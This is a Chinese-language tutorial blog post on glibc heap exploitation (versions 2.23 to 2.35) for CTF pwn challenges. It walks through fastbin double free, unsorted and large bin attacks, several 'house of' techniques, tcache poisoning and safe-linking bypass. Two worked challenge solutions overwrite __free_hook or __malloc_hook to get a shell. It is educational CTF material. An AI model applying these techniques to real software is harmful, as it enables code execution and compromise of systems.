-
-
[原创]深入理解Pwn_Heap及相关例题
-
发表于: 2023-9-15 19:45 13431
-
ptmalloc2
的管理方式,chunk
结构和 bins
的模型,在Overview of GLIBC heap exploitation techniques,ctfwiki 以及一些博客已经讲解的非常清楚,本文记录自己的学习堆利用的过程。主要更新 glibc-2.23,2.27,2.31,2.35,2.37
主流版本和相关例题,glibc-2.23
后面更新一些变化和新的利用方式,这里不包含 IO_FILE
的内容,IO_FILE
会单独做一个专题。建议看完 glibc
源码分析后再来看,当然直接看也无所谓。目前比赛的 glibc
版本基本都是这几个长期支持版本,期间版本就不写了,另外文中没有标记 glibc
版本的就是到目前位置依然适用的方法。我将我的部分文章做了一个合集,入门新手想看先凑合着看吧。
使用ubuntu:16.04进行编译
使用pwncli改写rpath
在malloc三次后, 0x400743处下断点
查看堆信息,三个fastbin的堆块,f1,f2,f3。
在free(f1),free(f2),free(f1)后,在0x40083B下断点。
查看fastbinY信息。
0x20大小的fastbins链上形成了double free。
再次malloc两次后,设断点在0x40089F
再次查看bins,因为申请两次后,fastbins中剩下f1(0x60300),而0x60300指向0x603020没有改变,0x603020指向0x60300也没变,并且fastbins中的chunk标记为prev_inuse一直为1,所以fastbins中依然保留这个ABA结构。
接下来,查看汇编代码,StackVar值改为0x20,为了放入0x20大小的fastbins,接下来把f1指向了StackVar以上0x8处,也就是prev_size的位置。将StackVar放入了0x20的fastbins中。在0x40092C处下断点。
查看堆信息。
这时候在申请两次便可申请到栈上。
在0x40095c下断点。
可以看到,已经申请到了栈上的值。
glibc < 2.29
首先申请了两个堆块,第一个堆块不属于fastbin大小,先进入unsortedbin中,第二个堆块为了防止第一块堆块与topchunk合并。在free第一个堆块前设置断点。
查看bins和heap信息
free第一个chunk以后,bins和heap信息,unsortedbin里的第一个chunk的fd和bk指向main_arena+0x58的位置。
接下来利用uaf将unsortedbin中的第一个chunk的bk指针(rax存储的指针指向fd,rax+8指向bk,bk指向后加入的chunk)指向StackVar的prev_size位置。
在0x4007D9处下断点,查看heap和bins信息。可以看到,0x602000处的chunk的bk指针被改为了一个栈值,fd指向main_arena+0x58的位置。
再次将unsortedbin中第一个chunk给malloc出来以后,unsortedbin中仅剩StackVar-0x10。
在0x400828下断点。查看heap和bins信息。
可以看到,StackVar的fd指针即用户区域起始处已被修改为main_arena+0x58的值。
glibc < 2.29
首先申请两个堆块
第一次申请的0x100大小的堆块给了[rbp+ptr]。第二个0x100是阻断topchunk。
接下来free(ptr),把ptr放入unsorted bin中。
在0x4007A7其fd,bk指向main_arena+x58的位置。
这里把var_28位置写为0x110。IDA里这个var_28中的0x28是16进制的偏移。
这里把rax指向ptr-8的位置,特就是size处。然后将其改为0x20。unsorted bin有FIFO特性,下次申请0x100大小不会找到它。然后将ptr+8的位置指向var_30,也就是把ptr的bk指针指向var_0x28+0x8的位置(bk指向后进入unsorted bin的chunk),var_0x28=0x110,也就是伪造的chunk大小,var_30也就是prev_size的位置。
在0x40081C下断点,可见ptr的bk指向栈。
查看0x602410内存可见ptr的size位置被改为了0x20
接下来申请0x100大小的chunk将会去unsorted bin寻找0x110大小的chunk,ptr已被改为0x20大小,所以跳过ptr申请到了栈上伪造的var_30处chunk。
在0x40082B处下断点,可见malloc后,unsorted被整理,0x20大小的ptr放进了small bin。fd和bk都指向main_arena+104处。
申请成功。
初始化堆。
在0x400703处下断点查看堆结构。
栈中数组结构。fake_chunks_size = 0x40
,fake_chunks_next_size = 0x1234
。
将 a
指向fake_chunks_fd
,然后 free(a)
。
成功将栈地址放入 fastbins
中。
那麽此时申请0x30大小的空间会在fastbins中寻找0x40大小的chunk,便可成功申请到栈上。
使用ubuntu:16.04编译,
然后使用pwncli修改运行环境。
malloc三次相同大小的堆块后,在0x400700下断点。
观察堆结构。
依次释放堆块a,b后,在0x4007CF下断点。
观察fastbin结构。
再次释放a,形成double free后,在0x4007F8下断点。
观察fastbin结构,已经形成ABA结构。
此时依次申请a,b,c三个相应大小的堆块,将会依次摘出a,b,a,
fastbin中a->b->a->b...这条链子会一直存在,不断从头部取出相应大小的堆块。
申请a后,在0x400835下断点(rax保存了_malloc函数的返回值)。
此时fastbin结构,形成了BAB结构。
同样,申请完b后在0x400843下断点。
此时fastbin结构,又形成了ABA结构。
同样申请完c后在0x400851下断点。
此时fastbin结构,再次形成BAB结构。
此时a和c指向同一地址。
calloc p1堆块后,在0x4006C5处下断点。
查看堆结构, 可以看到多出来一块0x411大小的堆块。
这个堆块是puts的缓冲区。puts函数用于将字符串输出到标准输出流(stdout),而标准输出流是一个文件流,需要在内存中分配一块缓冲区来存储输出的字符串,下图是其分配过程。
free(p1)后,p1会优先进入fastbins。
再次申请0x400(实际大小为0x410)的chunk。
在gdb里s步入调试,可以看到触发了malloc_consolidate机制。原因如下,因为libc再分配large chunk时,fastbin中有p1这个chunk存在,所以会调用malloc_consolidate()函数整合fastbins中的chunk,并放入unsorted bin或top_chunk;然后unsorted bin中的chunk又会被取出放入各自对应的bins。(这个bins为small bin和large bin。这也是chunk唯一进入small bin和large bin的机会)。
malloc_consolidate()函数执行完以后,因为p1与top_chunk相邻,所以p1被合并到了top_chunk。top_chunk的基址也变成了p1的prev_size的地址。
然后malloc函数会从top_chunk获取chunk,那么p1的地址就已经和p3指向同一块地址了。
此时再次free(p1),在0x40076c处下断点。
由于p1和p3指向同一个大小为0x411的chunk,而这个chunk又和top_chunk相邻,所以会再次被合并到top_chunk。
如果这个时候,我们再次申请一个chunk,在0x40077A处下断点。
那么这个chunk的地址还会与p1 && p3的地址一样。
至此p1,p3,p4指向了同一块chunk。
当然,其实chunk0_ptr并不一定是一个全局指针。以下代码在glibc2.23依然起作用。
简单介绍一下unlink,CTF Wiki里有介绍,简单总结如下:
首先申请两块smallbin_chunk。
为了绕过unlink检查,这里将全局的chunk0_ptr+0x10(chunk0_ptr[2])处的内容改为chunk0_ptr-0x18的地址,注意这里chunk0_ptr[2]指向的是全局变量的地址。
同样,接下来将chunk0_ptr[3]的内容改为chunk0_ptr-0x10的地址。
chunk0_ptr位置在bss节。
此时chunk0的堆结构。可以看到chunk0_ptr指向chunk0_fd(0x603010)的位置。chunk0_fd_nextsize和chunk0_bk_nextsize已被修改为全局变量(bss节)处的地址。
用图来表示如下
接下来cdqe指令将EAX寄存器中的DWORD(32 位值)符号扩展为RAX寄存器中的 QWORD(64 位值)。然后利用shl指令逻辑左移三位,再利用neg指令求补。最后也就是将chunk1_hdr的内容改为chunk1_ptr-2(chunk1_prev_size)的地址。
接下来将chunk1_hdr[0]改为0x80大小,也就是chunk1的prev_size位变为0x80。
然后利用and指令(与运算有零则零)把chunk1_hdr+1也就是chunk1_size的PREV_INUSE位改为0。
现在堆结构如图。因为chunk_prev_size=0x80,所以P_chunk如下
然后把chunk1给free()掉因为其PREV_INUSE为0,又是small bin大小,触发unlink,要将P这个fake chunk摘除。
那么此时FD=P->FD和BK=P->bk,FD->bk == P, BK->fd == P。可以能够看到成功绕过glibc2.23检查。注意,我画的时候是根据布局画的,堆由低向高地址增长(由高向低画),bss由低向高画的。
接下来执行 两步操作 FD->bk=BK, BK->fd=FD。FD和BK只相差0x8字节大小。第一步会把chunk0_ptr指向低0x10字节处(0x602068),第二步把chunk0_ptr指向低0x18字节处(0x602060),最终chunk0_ptr指向了0x602060处。chunk0_ptr = 0x602060,我们向chunk0_ptr写入内容时就会从0x602060开始向高地址写,我们发现,写到高0x18时,写到了我们保存写入地址指针的地址,这个地址(chunk0_ptr的物理地址0x602078)存储的地址(0x602060)就是我们开始写的地址,也就是chunk0_ptr指向的地址。
可以看到,chunk0_ptr
指向的地址由*chunk0_ptr-0x18
保存,修改*chunk0_ptr-0x18
存储的地址(0x602060),也就修改了写入的起始地址,也就是chunk0_ptr指向的地址,我们会从这个新地址重新开始写,也就达到了任意地址写的效果。这只是其中一种用法,建议看例题来加深理解。
我们也可以通过从0x602060开始向高地址覆盖,覆盖到0x602078处时,修改这里保存的地址,然后下次写时就会从修改的这个新地址开始写入。
使用glibc2.23
加参数-g
编译并修改rpath
。
申请了四个堆块,a(0x111),b(0x211),c(0x111),barrier(0x111)。
因为我们要利用off-by-null
把chunkb
的size
改为0x200
,又因为是chunkb
是non-fast chunk
,将b+0x1f0
的位置写为0x200
绕过检查。
接下来free(b)
后,假设a
存在off-by-null
漏洞,将chunkb
改为了0x200
大小。
然后申请两个堆块b1_real_size : 0x110
,b2_real_size : 0x90
,然后free(b1)
来绕过unlink
检查,再free(c)
后,会向上寻找0x210
大小的堆块,发现b1
是一个已经释放的chunk
,便会合并,此时我们再去申请real_size == 0x110+0x210
的堆块时,便控制了中间所有的chunk
。
glibc < 2.29
首先申请三个堆块p1_real:0x101
,p2_real:0x101
,p3_real:0x81
,这里只有申请0x8
结尾的堆块才有下一个堆块prev_size
的控制权,利用off-by-one
漏洞。假设堆块p1
读取时存在off-by-one
。free(p2)
后,利用p1
的off-by-one
漏洞将chunk_p2
的size
改为0x180
,再次申请0x178
大小的堆块,即可得到p3
的控制权。
glibc < 2.29
首先申请5个0x3e8
堆块,p1
,p2
,p3
,p4
,p5
。free(4)
后,假设p1
存在off-by-one
漏洞,将p2
的size
改为0x3f0+0x3f0+0x1=0x7e1
大小。再次free(p2)
将会把p3
覆盖掉,并且会与chunk_p4
重合,此时我们再次申请0x7d8大小的堆块即可获得chunk_p3的控制权。
申请a=0x41
,b=0x101
两个堆块,并在栈上构建一个fake_chunk
,并且fake_chunk_fd_bk = fake_chunk_prev_size
,用来绕过unlink
。
然后利用off-by-null
漏洞将堆块b
的PREV_INUSE
位改为0
,计算出堆块b
与fake_chunk
的距离(fake_size
),这里是个负数。
然后将fake_chunk_size
改为fake_size
,然后将堆块b
的prev_size
改为改为fake_size
,绕过检查prev_size == size
的检查。
我们free(b)
后,会进行如上检查。向后合并会把负数fake_size
转为整数,然后会先开始后合并,又chunk_b
紧邻top_chunk
,会再与其进行合并。
此时我们再申请堆块将从fake_chunk_prev_size
开始分配。
glibc < 2.29
首先申请了一个a_real=0x111
大小的堆块,利用off-by-one
将top_chunk
的size
改为-1
,此时我们便可以申请到任意地址,top_chunk地址 = 原top_chunk地址 + 对齐后的申请大小
。只要我们计算好距离,便可申请到任意地址,下到got
,bss
,上到__malloc_hook
,相当于任意地址写的能力。
计算出bss_var-0x20
到top_chunk
的距离0x602060-0x603110=-5A2 E0B0
,注意此时我们申请结束后,top_chunk=0x6030110+(-5A2EB0)+0x10=0x602070
,成功将top_chunk迁移到了目标地址下方。
堆由低地址向高地址增长,我们此时申请0x68
大小的堆块时,top_chunk=0x602070+0x68+0x8=0x6020e0
,成功将目标地址放入新申请堆块的fd
指针处。
large bin 结构图。
首先栈上放置两个值为 0 的栈变量。
然后布置如下结构的堆。
依次释放 non-fast 大小的 p1, p2,它们将会被挂到 unsorted bin 。并且 p2->p1 。
此时申请 0x90 大小的堆块将会遍历 unsorted bin , 但 unsorted bin 中并无正好合适的 chunk 。所以会切割先进来的 p1 成为 last_remainder 留在 unsorted bin,并把 p2 放进 large bin 。
之后 free(p3),p3 进入 unsorted bin , p3->p1。
然后如下修改 p2 的结构,让 p3_size > p2_size ,以便后续利用。
此时 p2 结构如下。
再次申请 0x90 大小的堆块,将会再次遍历 unsorted bin 。将 p1 切割,将 p3 放进 unsorted bin 。
放入过程中如果 p3_size > p2_size 。将会执行如下代码:
即 stack_var2 = p3。
即 stack_var1 = p3,至此利用完成。
glibc <= 2.29
,例题 heap2storm
结合 ptmalloc
源码讲的更为详细一些,这里简化了很多。
首先布置堆结构,get_shift_amount()
函数计算 fake_chunk_size
偏移,这个偏移一般来说,开了 PIE
为 5
,不开 PIE
为 2
。alloc_size
在经过与 0xffffffffffe(111111111111111111111111111111111110)
取与运算后,PREV_INUSE
位将被置为0
,然后减去 0x10
后变为需要申请的用户大小0x50
。
这里判断 alloc_size
是否符合要求。与 0x8(1000)
取与运算不为 0
说明不是 fast_chunk
大小,不符合要求; 与 0x4(0100)
取与运算等于0x4
则说明 NON_MAIN_ARENA
位为 1
,不属于主堆区,不符合要求;与 0x2(0010)
取与运算不等于 0x2(0010)
则说明 IS_MAPPED
位不等于为 1
,符合要求(绕个弯子)。
接下来申请 largebin_chunk
,并将unsorted_bin
和 large_bin
两个堆块都放入 unsorted bin
中。再次申请 0x4e8
大小堆块并释放,会将 0x4e1
大小的堆块放入 large_bin
,将 0x4f1
大小的堆块放进 unsorted bin
,满足 unsortedbin_chunk > largebin_chunk
并且在大小在同一区域内。
接下来完成任意地址申请,我们要控制 target
区域,在其 fake_chunk=target-0x10
位置申请。
构建如上图的堆结构,后面解释原因。
此时申请一个0x50
大小的堆块会经过以下两个变化。
即 unsorted_chunks(av)->bk = fake_chunk
;fake_chunk+0x10(fake_chunk_fd) = unsorted_chunks(av)
然后执行如上代码,unsorted_chunk_bk_nextsize
首先指向 fake_chunk-0x18-2
,然后 unsorted_chunk->bk_nextsize->fd_nextsize (fake_chunk-0x18-2+0x20)
改为 unsorted_chunk (此时fake_chunk的size被改为0x60)
。然后将 bck(fake_chunk+0x8)
的 fd(fake_chunk+0x8+0x10)
指向 unsorted_chunk
,伪造了 fake_chunk_bk
。
最后成功向目标位置写入内容。
ELF64小端序程序。
保护全开。
改 glibc 为 2.23。
我们知道 heaparray 的地址,可以使用 house_of_storm 实现任意地址申请 chunk,这样我们就能控制r3,r4的值,使得show可以使用。然后正常泄露 heap 和 libc ,正常修改各种 hook 即可。
首先布置如下堆结构。
写入 fake_prev_size (0x500) ,然后利用 off-by-null 将 idx_1 的 size 改为 0x500,以便切割时绕过检查。然后申请 0x20 + 0x4e0 的堆块将 0x500 申请出来,此时堆结构如下,此时 idx_2_prev_size = 0x510,释放时会寻找到 idx_1_prev_size 的位置。
......
然后 free(1) ,在 free(2) 后,可以绕过 unlink 检查。然后将 inuse_idx_7 覆盖。再次申请 0x40 + 0x4f0 = 0x530 大小的 chunk ,将 bins 清空。此时 idx_7_fd -> (unsorted_prev_size - 0x10) 。同理,再次制造 idx_8_fd -> (large_chunk_prev_size-0x20)。然后将 0x4e0 大小的 chunk 放进 large bin,将 0x4f0 大小的 chunk 放进 unsorted bin,以便后续攻击。
我们可以通过在 0x13370800 附近申请 0x50 大小的堆块篡改 r3 , r4 来达到 show 的条件。那么 fake_chunk_size 就需要为 0x56 大小,因为 0x56 = 0101 0110B, 可以绕过 mmap 检查,只有地址随机化到 0x56 开头是才可利用成功。需要注意的是 unsortedbin_chunk_size > largebin_chunk_size。
通过 idx_7 修改 unsorted_chunk_bk = fake_chunk_prev_size。
通过 idx_8 修改 largebin_chunk_bk = fake_chunk+0x8,largebin_chunk_bk_nextsize = fake_chunk+0x18-5(截取0x56,因为64位随机化只会随机到 0x55 和 0x56 ,而只有0x56能绕过mmap检查)。
此时去申请一个用户区 0x48 大小 chunk,会执行如下代码。
unsorted_chunks(av) 的 bk 指向 fake_chunk。bck->fd = fake_chunk_fd,fake_chunk + 0x10 将指向 unsorted_chunks(av)伪造了 fake_chunk_fd 指针和 unsorted 头的 bk 指针,将其添加到了 unsorted bin 中。
然后执行如上代码,unsorted_chunk_bk_nextsize 首先指向 fake_chunk-0x18-5 ,然后 unsorted_chunk->bk_nextsize->fd_nextsize (fake_chunk-0x18-5+0x20) 指向 unsorted_chunk (此时fake_chunk的size被改为0x56)。然后将 bck(fake_chunk+0x8) 的 fd(fake_chunk+0x8+0x10) 指向 unsorted_chunk_prev_size,伪造了 fake_chunk_bk。
申请的用户区 0x48 的堆块将会把 fake_chunk 摘除来,并且 idx=2。然后把 r3(0x13370810) 改为 0,r4(0x13377818) 改为 0x13377331,即可绕过show检查。alloc 的时候,我们申请 0 堆块是从 0x13370820开始的。我们 edit(2) 是将其地址指向了 0x13370800,我们再去 edit(0) ,保留原来的可以调用 show 的结构,将 chunk0 指向 0x13370800 ,将其大小改为 0x1000,然后将 chunk1 指向 fake_chunk+0x3(也就是原来 unsorted bin 的地址,开始我们截取了0x56作为size那个地址) ,将其大小改为 0x8 (size_t)。因为用于异或的 r1, r2, r3都被改为了0。所以不必担心异或处理。此时 show(1) 即可将堆地址(unsortedbin_chunk)泄露出来。
泄露出来的堆地址 unsortedbin_chunk_fd 指向了 libc 地址,同理将其输出即可,然后根据固定偏移计算得到 malloc_hook, free_hook, system, str_bin_sh地址即可。
最后,我们只需要将 free_hook 地址改为 system 地址,然后将 idx2 指向 str_bin_sh 地址,并 free(2) 即可 getshell。
这是我学off-by-null时出的一道题。靶场地址
ELF64
位小端序程序,动态链接。
除了FODRTIFY
保护,其余保护全开。
将环境修改为题目的运行环境。
sub_A9D()
函数为程序菜单。
可以看到是一道菜单题。
sub_BFC()
函数创建了一个结构体,并且可以自定义chicken
大小。数组qword_203080
记录了每一个chicken
,数组dword_203060
记录了qword_203060
的使用情况。可以向mark
和name
读入内容。并且未将v2+3
处的内容初始化,可能存在泄露。
根据读入情况,不难分析出结构体的内容。
sub_B34()
函数用于查看qword_203060
数组的使用情况。
sub_B74()
函数置零操作存在off-by-null
漏洞。
sub_D28()
函数用于释放多块,没有问题。
sub_EB3()
函数用于改名字,并记录菜名。
sub_BC0()
函数用于读取菜名。
sub_1005()
函数用于打印所有信息。这里菜名被标记为ErrMsg
。
我们可以通过sub_BFC()
函数未初始化的ErrMsg(菜名)
和sub_1005()
来进行信息泄露,得到heap
和libc
地址。然后利用off-by-null
漏洞制造堆块重叠,向fastbin
中写入__malloc_hook
地址,然后篡改其为one_gadget
来获取权限。
定义了函数接口和前置操作。
本题泄露利用unsorted bin
中保存的libc
地址与libc
基址的固定偏移获取libc
基址。因为结构体在初始化时并未初始化ErrMsg
的值,并且其大小为0x90
,我们申请一个结构体再将其释放,再次申请时可将其从unsorted bin
中申请出来,然后可以通过打印函数打印unsorted bin
中的内容。
在打印前下断点可以看到,此时ErrMsg
中保存的值为libc
地址。由于libc
中的地址固定偏移不受pie
和aslr
保护影响,可以由此计算出libc
基址。
堆地址也可以通过unsorted bin
的bk
指针泄露,我们将两个不连续的non-fast
大小的堆块放入unsorted bin
中,由于unsorted bin
采取先进先出模式,所以我们会将结构体1
重新申请出来,它ErrMsg
的bk
位置便是结构体3
的地址。然后通过改名函数将ErrMsg
的前八个字节覆盖满,然后便可通过打印函数将堆地址泄露。
同样在打印前下一个断点,可以看到其bk
位置为一个堆地址。
因为Add
函数存在off-by-null
漏洞,所以我们可以制造一个堆块重叠,将一个fast chunk
包含在其中,这里需要注意的时,我们要绕过unlink
检查,需要将伪造的fake chunk
的fd
和bk
指向它本身。然后计算好偏移将fast chunk
的fd
位置改为__malloc_hook
附近包含__malloc_hook
大小的fake chunk
的位置。然后将__malloc_hook
改为one_gadget
。此时四个one_gadget
都无法打通,我们可以free
一个错误的chunk
来调用malloc_printerr
函数,这个函数中存在其他的调用,最后会调用到malloc
,然后便可调用one_gadget
。
通过find_fake_fast
来寻找__malloc_hook
附近的fake_chunk
。fake_chunk
的prev_size
距离__malloc_hook
有0x23大小。所以填充0x13
字节即可覆盖到目标地址。
我们可以通过k
来查看函数调用栈,发现free
报错后会在动态链接器调用malloc
。
可以在源码中发现,由于free
一个错误堆块调用了malloc_printerr
函数,最后在dl-error.c
调用了malloc
函数。
首先申请一个 0x110
大小的堆块,然后布置栈上两个 stack_buffer
结构,即 stack1_fd->small_chunk
,stack1_bk->stack2_prev
,stack2_fd->stack1_prev
。
申请0x3f0
大小的 chunk
隔离 top_chunk
,然后将 0x111
的 chunk
放进 unsorted_bin
,申请 (large_chunk)0x4c0
大小的 chunk
触发 consolidate
机制再次将其再次放入 small_bin
中,并修改其 bk->stack1_prev
。
此时:
FD:stack2_fd->stack1_prev;stack1_fd->small_chunk_fd;
BK:small_chunk_bk->stack1_prev;stack1_bk->stack2_prev;
然后再次申请两个用户区为 0x100
大小的 chunk
,第一次申请时绕过以上验证,此时 bck(stack1)_fd->small_chunk。
,第二次申请同理,要取出 victim=stack1
,此时 stack_2_fd->stack_1_prev; stack1_bk->stack2_prev
。
然后申请两次 0x110
大小的 chunk
,分别为 p3
p4
,会将 small_chunk
和 stack1
取出来,然后覆盖 main
返回地址为目标函数地址即可完成任意地址写。
2.23
版本和 2.27
以后间 fastbinY[4]
数组的偏移不同,2.23
为 0x38
,2.27
以后加入了 have_fastchunks
,需要向后偏移 0x8
字节,即偏移为 0x40
。2.23
的malloc_state
及 _heap_info
源码如下:
target_loc
位置在 fake_arena_chunk + 0x30
处,也就是 fake_arena_fastbinY[4]
处,因为我们要申请的 fast_chunk
大小为 0x60
。
system_mem
标识这个 arena
管理的空间大小,请求的内存不能大于 system_mem
。
在系统堆初始化之后,将堆的大小定为 0x4000000
,因此后面申请的假 arena
管理的地址在这个堆之后,要计算这个堆的起始地址,程序中这个地址为 0x4000000
。MAX_SIZE
大小为 0x1ff00 < 0x20000
也就不会触发 mmap
申请机制。
一直分配 MAX_SIZE
大小的 chunk
直到系统的 main_heap
被申请完。
在新的堆区申请 0x60
大小的 fast_chunk
。
fake_heap_info[0]==ar_ptr -> fake_arena
将 ar_ptr
指针指向我们的 fake_arena
,ar_ptr
指针指向一个为该堆服务的arena
。
fastbin_chunk_size = 0x60 | 0x4(0100B)
将 NON_MAIN_ARENA
置为 1
,标明其不在主堆区。
free(fastbin_chunk_fd)
后,将会把它链接到 fake_heap_info_ar_ptr
指向 fake_arena
的 fastbinY[4] (0x60)
处,也就是 0x603448
处。
此时完成利用成功将目标地址内容写为 fastbin_chunk_prev_addr
。
glibc < 2.29
编译选项: gcc -g house_of_roman.c -fpie -pie -ldl -o house_of_roman
除了 libc-2.23.so
和 ld-2.23.so
需要 patch
以外,还需要 patch
一下 libdl-2.23.so
patchelf --replace-needed libdl.so.2 ./libdl-2.23.so house_of_roman
部署如上 chunk
,从上到下分别为 fastbin_victim
,obstruct
,main_arena_use
,relative_offset_heap
。
将 main_arena_use
放进 unsorted_bin
。
再次申请 0x70
大小的 chunk: fake_libc_chunk
,拆分 main_arena_use
。
利用 fake_libc_chunk
中保存的 libc
地址和固定偏移 glibc_2.23为0xe8(每个版本基本都不同)
计算出 __malloc_hook
地址。
依次释放 relative_offset_heap
,fastbin_victim
。
将 fastbin_victim
的 fd
指针的末尾两位改为 0
,那么将会把 fake_libc_chunk
链接进 fastbinY[5](0x70)
中。
glibc_2.23
版本在 __malloc_hook-0x23
处存在 0x7f
大小的 fake_fast
,我们将 fake_libc_chunk
的 fd
指针指向 fake_fast_malloc_hook
。
申请 3
次 0x70
大小的 chunk
,可以将 fake_fast_malloc_hook
申请出来。
因为 __malloc_hook
和 system
的地址差异较大,需要更改的字节较多,所以我们通过 unsorted_bin attack(前文有介绍,不再赘述)
将其改为 main_arena + 0x58
处的地址,再将其改为 system
地址即可。
从 19(0x13,也就是 0x23-0x8_fd-0x8_bk)
处开始按字节写入后 system
几位地址 ,再去 "malloc("/bin/sh\x00")"
即可 getshell
。
首先申请三个 0x100000
大小的 mmap_chunk
,分别为 top_ptr
,mmap_chunk_2
,mmap_chunk_3
,第一个 top_ptr
位于 libc.so
上方。
接下来将 mmap_chunk_3
的 size
改为 202002
,因为 mmap_chunk_3
位于 mmap_chunk_2
低地址处,所以 mmap_chunk_3
现在的 size
大小包含了 mmap_chunk_2
,与 2
取与运算是为了将 IS_MMAP
位置为 1
。
接下来 free(mmap_chunk_3)
。再次申请 0x300000
大小的 overlapping_chunk
,mmap_chunk_2
被包含在了 overlapping_chunk
中。
我们可以通过 overlapping_chunk
去修改 mmap_chunk_2
的内容。
第五部分开始使用 ubuntu:18.04
编译。Tcache
基础请看 Tcache安全机制及赛题详细解析(gundam && House of Atum)。
首先申请 14
个 chunk
,先后将 tcache
和 fastbinY[4]
填满。其中 victim
指向第 8
个 chunk
也就是 fastbinY[4]
的最后一个 chunk_ptrs[7]
。
将 victim(ptrs[7]_fd)
指向 stack_var[0]
的位置,然后将 tcache
清空。
这次 malloc
将会先从 fastbin
头部取出一个 chunk
,然后把 fastbin
清空,放入tcache
中,因为 fastbin
取出时从头开始,tcache
又是 FIFO
结构, 所以放入 tcache
是倒序的,把 stack_var
也算做了一个 chunk
,所以是满 7
个。
此时再去申请一个 0x50
大小的 chunk
将会把 stack_var
取出来,此时 q == stack_var[2]
。
libc-2.29
新增加double free
检查,方法是在 tcache_entry
结构体中新增加标志位 key
来检查 chunk
是否在 tcache bin
中。当 free
掉一个堆块进入 tcache
时,假如堆块的 bk
位存放的key == tcache_key
, 就会遍历这个大小的 Tcache
,假如发现同地址的堆块,则触发 double Free
报错。因为 chunk
的 key
保存在 bk
位置,只需将其修改即可绕过 double free
检查。而 house_of_botcake
是另一种方法。
首先申请9
个 non-fast_chunk
和一个 obstruct-chunk
,将 tcache
填满,剩余两个放入 unsorted_bin
,因为 a
与 prev
相邻,所以会被整合在一起。
从 tcache
头部取出一个 chunk
,然后再次 free(a)
,此时 chunk_a
同时出现在了 unsorted_bin
和 tcache
中。
此时申请 0x120
大小的 chunk
将 unsorted_bin
中包含 chunk_a_fd
的 chunk
申请出来,我们就可以修改 tcache
中 chunk_a
的下一个链接进来的 chunk
为我们伪造的 chunk
,在申请两次用户区为 0x100
大小的 chunk
就可以将我们伪造的 chunk
申请出来。
这种利用能够方法很简单,只需要将 fake_chunks_size=0x40
,然后 free(fake_chunk)
即可将其放入到 tcache
中,再去申请 0x30
大小的 chunk
即可将其申请出来。
申请同样大小的 a,b
两个 chunk
,并将其放在 tcache
中。然后将后进入的 chunk_b_fd
改为 stack_var_fd
,这样就能将其链接进 tcache
,tcache
的数量为 2
,可以申请两个 chunk
出来。 在 2.29
以后,如果 tcache
的数量为 0
,就算 tcache
中有 free_chunk
也不会将其取出来,所以我们确保 tcache
的数量为 2
,这样就能取出两个 chunk
。
利用 calloc
可以越过 tcache
取 chunk
的特点结合 house of lore
进行的攻击手段,可以向任意地址写入任意值,也可以申请任意地址。
可以看到,这种攻击手段并没有经过 house of lore
的需要经过的验证,即没有这一个要求 bck->fd == victim
。
目标地址的 stack_var_bk == stack_var_fd
,为了后续将 fake_chunk
的 bk
指针指向一块可写的内存,绕过 glibc
在摘链表时候的检查,样例中我们在 small_bin
中摘取两个 chunk
放入 tcache
,tcache
便已经满了,不会再去索取 fake_chunk_bk
。
申请 9
个 0x90
大小的 chunk
,将 3~8
这 6
个 chunk
放进 tcache
中, 然后依次释放 1,0,2
三个 chunk
,1
将会进入 tcache
中,0,2
进入 unsorted
,因为不相邻,所以不会触发合并。
malloc(0xa0)
将会触发整理机制,将 unsorted_bin
中的 chunk
放进 small_bin
。
接下来在 tcache
中腾出两个位置,为后续放入 small_bin chunk
做准备。
将 small_bin
中倒数第二个 chunk_bk
指向 stack_var
,为后续将 chunk
放入 tcache
中做索引。
利用 calloc(1,0x90)
将 small_bin
中最后一个 chunk
拿出来,然后触发整理机制,将 small_bin
中剩余的 chunk
倒序取出放入 tcache
,也就是按 bk
去索引。
此时再次申请将会把目标地址的fake_chunk
申请出来。
本次使用 ubuntu:20.04
。
glibc-2.30
新增了两道检查:
利用代码:
布置堆结构如上,图中从上到下chunk
分别为 p1, g1, p2, g2
。
将 chunk_p1
放进 largebin
,将 chunk_p2
放进 unsorted_bin
,(largebin)p1_size > (unsorted)p2_size
。
修改p1_bk_nextsize = target-0x20
,也就是fake_chunk_fd_nextsize
。
然后申请 0x438
大小的 chunk
,触发整理机制将 chunk_p2
链接进 largebin
,因为 p2_size < (largebin_least)p1
,会触发如下代码。
p2->fd_nextsize = p1;
p2->bk_nextsize = (target-0x20)p1->bk_nextsize;
(target-0x20)p1->bk_nextsize = target = p2;
第三步时将 (target)fake_chunk_fd_nextsize
改为了 p2_prev
。
最后目标地址被成功修改为一个大数。写大数的行为,可以用来修改global_max_fast
。
本次使用 ubuntu:22.04
进行编译。
对 tcache_next(fd)
新增检查:
P
表示将保存在空闲块的 fd
字段中的指针值。L
表示 fd
字段本身的地址。L>>12
是 L
的右移值,用于对 P
进行异或运算,从而产生一个编码指针P'
。Safe Linking
将这个P'
值存储在 fd
字段中。
bypass safe-linking
机制需要用到 uaf
或者 double free
之类的漏洞, 同时释放 tcache
到一个空闲 tacahe bin
中, 此时由于tcache bin
中没有空闲chunk
, tcache->entry[tc_idx]=0
,若存在 uaf
或者 double free
,可以泄露出 leak_addr= (&tcache_chunk->fd)>>12
位置, 则 heap_base=leak_addr<<12
。double free
需要将 tcache_chunk_bk
改为 0
,绕过检查。对于 2.32
及以后的 glibc
版本的 tcache_poisoning
需要将 target
地址进行加密。
申请a,b
两个 tcache_chunk
,最后一个 chunk_0x10
用于隔离,下面解析 b_fd
。
前置:
P:0x0000_555_555_55b_2a0; L:0x0000_555_555_55b_2d0; L>>12:0x0000_000_555_555_55b; p':0x0000_555_000_00e_7fb
(0x55555555b2d0 >> 12) = 0x55555555B; 0x55555555b2a0 ^ 0x55555555B = 0x55500000E7FB;
步骤:
P ^ (L >> 12);
。 此时 L
高 12
位为 0
,而 P
高 12
位为 0x555
,异或时将保留 0x0000_555
,而异或操作又是可逆的,所以用保留的 0x0000_555_000_000_000
和 低位 0x0000_000_555_000_000
取异或即可得到低三位的真实地址,以此类推有了以下步骤。
1.
bits = 52;
key = 0;
plain = ((0x0000_555_000_00e_7fb ^ 0) >> 52) << 52 = 0x000_000_000_000_0000;
key = plain >> 12 = 0;
2.
bits = 40;
key = 0;
plain = ((0x0000_555_000_00e_7fb ^ 0) >> 40) << 40 = 0x000_055_000_000_0000;
key = plain >> 12 = 0x000_000_055_000_000_0
3.
bits = 28;
key = 0x000_000_055_000_000_0;
plain = ((0x000_055_500_000_e7fb ^ 0x000_000_055_000_000_0) >> 28) << 28 = 0x000_055_555_000_0000
key = plain >> 12 = 0x000_000_055_555_0000;
4.
bits = 16;
key = 0x000_000_055_555_0000;
